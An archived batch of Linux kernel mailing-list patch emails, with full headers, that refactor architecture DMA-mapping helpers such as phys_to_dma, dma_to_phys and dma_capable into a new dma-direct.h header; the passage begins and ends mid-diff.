 #endif /* _ASM_S390_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 06/34] m32r: remove the unused dma_capable helper
Date: Fri, 12 Jan 2018 09:42:04 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20180112084232.2857-7-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746489 4798 195.159.176.226 (12 Jan 2018 08:41:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:29 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:41:23 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZute-0008T7-DX
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:41:06 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 395F3100F;
	Fri, 12 Jan 2018 08:43:00 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id A55881043
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:58 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 56260D0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:58 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=5m3sWHu0i/1ncT32uHmlD/yLwHLhNTmcfacRCc4qzec=;
	b=axgronQ0g1C+U3UBfv7foJoU9
	A4IuZIQez6Da5DR+W04ypxwDy/uyS4ALWirLT6B5ITrrAsldhiCPwthSeCafHQDsiJzhH7+CBf02D
	L1tQL2yboatuXoh8glAZFxmkser3qGZNtzSXK0FTHRUVzZveJ9wQu8ip+IWYHzb5PtTYjLbgbpQLu
	nj461lwQQOFcTYXbOzs87zNBWWc95Q8LlfZBN8jL0vEmRFM1UQ0v+rZ0Sja0V08NeWgEaKkKg3biX
	ijc3FwSdtABy9Df1dhAvvbQoT9j+kQmKPSnRa4Zqyd9Dep9Pa7VYE+BA1gS1cqg/J0ETMiHxNtEzu
	wdjxUBJ3Q==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuvO-0007FI-MG; Fri, 12 Jan 2018 08:42:55 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22150 gmane.linux.ports.mips.general:63291 gmane.linux.ports.ia64:28594 gmane.linux.ports.sh.devel:56295 gmane.linux.ports.sparc:27244 gmane.linux.kernel.cross-arch:41452 gmane.linux.ports.hexagon:1559 gmane.linux.kernel.arc:3343 gmane.linux.kernel.metag:1636 gmane.linux.ports.arm.kernel:625649 gmane.linux.ports.parisc:28236 gmane.linux.kernel:2665082 gmane.linux.ports.alpha:4733 gmane.linux.ports.ppc64.devel:152018
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22150>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/m32r/include/asm/dma-mapping.h | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
index 336ffe60814b..8967fb659691 100644
--- a/arch/m32r/include/asm/dma-mapping.h
+++ b/arch/m32r/include/asm/dma-mapping.h
@@ -14,11 +14,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif /* _ASM_M32R_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 10/34] arm64: don't override dma_max_pfn
Date: Fri, 12 Jan 2018 09:42:08 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20180112084232.2857-11-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746493 5563 195.159.176.226 (12 Jan 2018 08:41:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:33 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Jan 12 09:41:27 2018
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eZutt-0007w8-2I
	for glps-linuxsh-dev@m.gmane.org; Fri, 12 Jan 2018 09:41:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933458AbeALInY (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:24 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:43172 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754304AbeALInO (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 12 Jan 2018 03:43:14 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=eYgZKjuBGo4iF5w9wsb/Dx9CzH0M9u2BNwH1yjSCXIQ=; b=Vw5gq+baWWRjhQ5To6Fbo1LDd
        lx0PDxYr2XXcRZCLIA4685v2zbTZpaJDKMUhU3KLKmc6SYxvBpdnKXPURJbgObC6VpPL7sXjf8PrV
        Njs+bhCpBCDsShvSD2ULqDLFuwdvY3n261pm51Cl8VT0mJimvFRGy8tXS8qNycb47wriqEojoCkfA
        MGpUB+iZdd+dN2M+FBadamhDXmpro9DVdYfbPWFeQGgx6LsZQhu1UGnxBFecQcv2kURReljwjFbZR
        E1oW+ixJm0AhN541N+Kctfwb60VsQLsGLlC8GUht0cFAgvnGgSbDAlGihXcbxEemjkV1Gby9e6t4D
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvc-0007aV-Gc; Fri, 12 Jan 2018 08:43:09 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56296 gmane.linux.kernel.iommu:22151 gmane.linux.ports.alpha:4734 gmane.linux.kernel.arc:3344 gmane.linux.ports.arm.kernel:625650 gmane.linux.ports.hexagon:1560 gmane.linux.ports.ia64:28595 gmane.linux.kernel.metag:1637 gmane.linux.ports.mips.general:63292 gmane.linux.ports.parisc:28237 gmane.linux.ports.ppc64.devel:152019 gmane.linux.ports.sparc:27245 gmane.linux.kernel.cross-arch:41453 gmane.linux.kernel:2665083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56296>

The generic version now takes dma_pfn_offset into account, so there is no
more need for an architecture override.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Robin Murphy <robin.murphy@arm.com>
---
 arch/arm64/include/asm/dma-mapping.h | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 0df756b24863..eada887a93bf 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -76,14 +76,5 @@ static inline void dma_mark_clean(void *addr, size_t size)
 {
 }
 
-/* Override for dma_max_pfn() */
-static inline unsigned long dma_max_pfn(struct device *dev)
-{
-	dma_addr_t dma_max = (dma_addr_t)*dev->dma_mask;
-
-	return (ulong)dma_to_phys(dev, dma_max) >> PAGE_SHIFT;
-}
-#define dma_max_pfn(dev) dma_max_pfn(dev)
-
 #endif	/* __KERNEL__ */
 #endif	/* __ASM_DMA_MAPPING_H */
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 12/34] dma-mapping: move swiotlb arch helpers to a new header
Date: Fri, 12 Jan 2018 09:42:10 +0100
Lines: 780
Approved: news@gmane.org
Message-ID: <20180112084232.2857-13-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746494 5622 195.159.176.226 (12 Jan 2018 08:41:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:34 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jan 12 09:41:28 2018
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eZutx-0007w8-AR
	for lnx-linux-alpha@m.gmane.org; Fri, 12 Jan 2018 09:41:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933478AbeALIn1 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:27 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:54653 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933451AbeALInY (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 12 Jan 2018 03:43:24 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=JOkjXIZ2wWrZoUlvHvXdf8X4HyL0Idad4zNhoxhoeNY=; b=h9LoedEm/2Mp79y49cNTvilm6
        tupjjQtMjk04jAHG2Z/3oL4+uln1Ts2Sq4uOwm1eS3IwUG8rNa0EJcP2IH7gJNXu2hcfGiikQn8vA
        Hx/iSLjqxIwUWCtoGl+z9N2Wsnqq3m1TD6qk1KwWiWx8dTPnsaGqZy70sZpzfJa7oITvHBsAdicm7
        a1CypGLXoDGWznrF8umXUQ79BD/vBaT+SIv9KnmYsjLZskTR3nHBfK3YYRVUUh+iwDa6SJKEVZpLx
        TX/qWUP+XmNlqvC9CmzVW3x1VxZoM1ynQVIhRdtSapCE6xvhvqqbJZ8OXoEmxMgvoD6zjvb6tfd3e
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvi-0007iV-Rq; Fri, 12 Jan 2018 08:43:15 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4735 gmane.linux.kernel.iommu:22152 gmane.linux.kernel.arc:3345 gmane.linux.ports.arm.kernel:625651 gmane.linux.ports.hexagon:1561 gmane.linux.ports.ia64:28596 gmane.linux.kernel.metag:1638 gmane.linux.ports.mips.general:63293 gmane.linux.ports.parisc:28238 gmane.linux.ports.ppc64.devel:152020 gmane.linux.ports.sh.devel:56297 gmane.linux.ports.sparc:27246 gmane.linux.kernel.cross-arch:41454 gmane.linux.kernel:2665084
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4735>

phys_to_dma, dma_to_phys and dma_capable are helpers published by
architecture code for use of swiotlb and xen-swiotlb only.  Drivers are
not supposed to use these directly, but use the DMA API instead.

Move these to a new asm/dma-direct.h helper, included by a
linux/dma-direct.h wrapper that provides the default linear mapping
unless the architecture wants to override it.

In the MIPS case the existing dma-coherent.h is reused for now as
untangling it will take a bit of work.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Acked-by: Robin Murphy <robin.murphy@arm.com>
---
 MAINTAINERS                                        |  1 +
 arch/Kconfig                                       |  4 +++
 arch/arm/Kconfig                                   |  1 +
 arch/arm/include/asm/dma-direct.h                  | 36 ++++++++++++++++++++++
 arch/arm/include/asm/dma-mapping.h                 | 31 -------------------
 arch/arm64/include/asm/dma-mapping.h               | 22 -------------
 arch/arm64/mm/dma-mapping.c                        |  2 +-
 arch/ia64/include/asm/dma-mapping.h                | 18 -----------
 arch/mips/Kconfig                                  |  2 ++
 arch/mips/include/asm/dma-direct.h                 |  1 +
 arch/mips/include/asm/dma-mapping.h                |  8 -----
 .../include/asm/mach-cavium-octeon/dma-coherence.h |  8 +++++
 arch/mips/include/asm/mach-generic/dma-coherence.h | 12 --------
 .../include/asm/mach-loongson64/dma-coherence.h    |  8 +++++
 arch/powerpc/Kconfig                               |  1 +
 arch/powerpc/include/asm/dma-direct.h              | 29 +++++++++++++++++
 arch/powerpc/include/asm/dma-mapping.h             | 25 ---------------
 arch/tile/include/asm/dma-mapping.h                | 18 -----------
 arch/unicore32/include/asm/dma-mapping.h           | 18 -----------
 arch/x86/Kconfig                                   |  1 +
 arch/x86/include/asm/dma-direct.h                  | 30 ++++++++++++++++++
 arch/x86/include/asm/dma-mapping.h                 | 26 ----------------
 arch/x86/kernel/amd_gart_64.c                      |  1 +
 arch/x86/kernel/pci-dma.c                          |  2 +-
 arch/x86/kernel/pci-nommu.c                        |  2 +-
 arch/x86/kernel/pci-swiotlb.c                      |  2 +-
 arch/x86/mm/mem_encrypt.c                          |  2 +-
 arch/x86/pci/sta2x11-fixup.c                       |  1 +
 arch/xtensa/include/asm/dma-mapping.h              | 10 ------
 drivers/crypto/marvell/cesa.c                      |  1 +
 drivers/mtd/nand/qcom_nandc.c                      |  1 +
 drivers/xen/swiotlb-xen.c                          |  2 +-
 include/linux/dma-direct.h                         | 32 +++++++++++++++++++
 lib/swiotlb.c                                      |  2 +-
 34 files changed, 165 insertions(+), 195 deletions(-)
 create mode 100644 arch/arm/include/asm/dma-direct.h
 create mode 100644 arch/mips/include/asm/dma-direct.h
 create mode 100644 arch/powerpc/include/asm/dma-direct.h
 create mode 100644 arch/x86/include/asm/dma-direct.h
 create mode 100644 include/linux/dma-direct.h

diff --git a/MAINTAINERS b/MAINTAINERS
index 95c3fa1f520f..d2cfdcce1db5 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4338,6 +4338,7 @@ F:	lib/dma-noop.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
+F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
 
 DME1737 HARDWARE MONITOR DRIVER
diff --git a/arch/Kconfig b/arch/Kconfig
index 400b9e1b2f27..3edf118ad777 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -938,6 +938,10 @@ config STRICT_MODULE_RWX
 	  and non-text memory will be made non-executable. This provides
 	  protection against certain security exploits (e.g. writing to text)
 
+# select if the architecture provides an asm/dma-direct.h header
+config ARCH_HAS_PHYS_TO_DMA
+	bool
+
 config ARCH_HAS_REFCOUNT
 	bool
 	help
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 51c8df561077..00d889a37965 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -8,6 +8,7 @@ config ARM
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_SET_MEMORY
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
 	select ARCH_HAS_STRICT_MODULE_RWX if MMU
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
diff --git a/arch/arm/include/asm/dma-direct.h b/arch/arm/include/asm/dma-direct.h
new file mode 100644
index 000000000000..5b0a8a421894
--- /dev/null
+++ b/arch/arm/include/asm/dma-direct.h
@@ -0,0 +1,36 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_ARM_DMA_DIRECT_H
+#define ASM_ARM_DMA_DIRECT_H 1
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	unsigned int offset = paddr & ~PAGE_MASK;
+	return pfn_to_dma(dev, __phys_to_pfn(paddr)) + offset;
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+{
+	unsigned int offset = dev_addr & ~PAGE_MASK;
+	return __pfn_to_phys(dma_to_pfn(dev, dev_addr)) + offset;
+}
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	u64 limit, mask;
+
+	if (!dev->dma_mask)
+		return 0;
+
+	mask = *dev->dma_mask;
+
+	limit = (mask + 1) & ~mask;
+	if (limit && size > limit)
+		return 0;
+
+	if ((addr | (addr + size - 1)) & ~mask)
+		return 0;
+
+	return 1;
+}
+
+#endif /* ASM_ARM_DMA_DIRECT_H */
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index daf837423a76..5fb1b7fbdfbe 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -109,37 +109,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	unsigned int offset = paddr & ~PAGE_MASK;
-	return pfn_to_dma(dev, __phys_to_pfn(paddr)) + offset;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
-{
-	unsigned int offset = dev_addr & ~PAGE_MASK;
-	return __pfn_to_phys(dma_to_pfn(dev, dev_addr)) + offset;
-}
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	u64 limit, mask;
-
-	if (!dev->dma_mask)
-		return 0;
-
-	mask = *dev->dma_mask;
-
-	limit = (mask + 1) & ~mask;
-	if (limit && size > limit)
-		return 0;
-
-	if ((addr | (addr + size - 1)) & ~mask)
-		return 0;
-
-	return 1;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) { }
 
 /**
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index eada887a93bf..400fa67d3b5a 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -50,28 +50,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	dma_addr_t dev_addr = (dma_addr_t)paddr;
-
-	return dev_addr - ((dma_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
-{
-	phys_addr_t paddr = (phys_addr_t)dev_addr;
-
-	return paddr + ((phys_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
-}
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size)
 {
 }
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index b45c5bcaeccb..f3a637b98487 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -24,7 +24,7 @@
 #include <linux/export.h>
 #include <linux/slab.h>
 #include <linux/genalloc.h>
-#include <linux/dma-mapping.h>
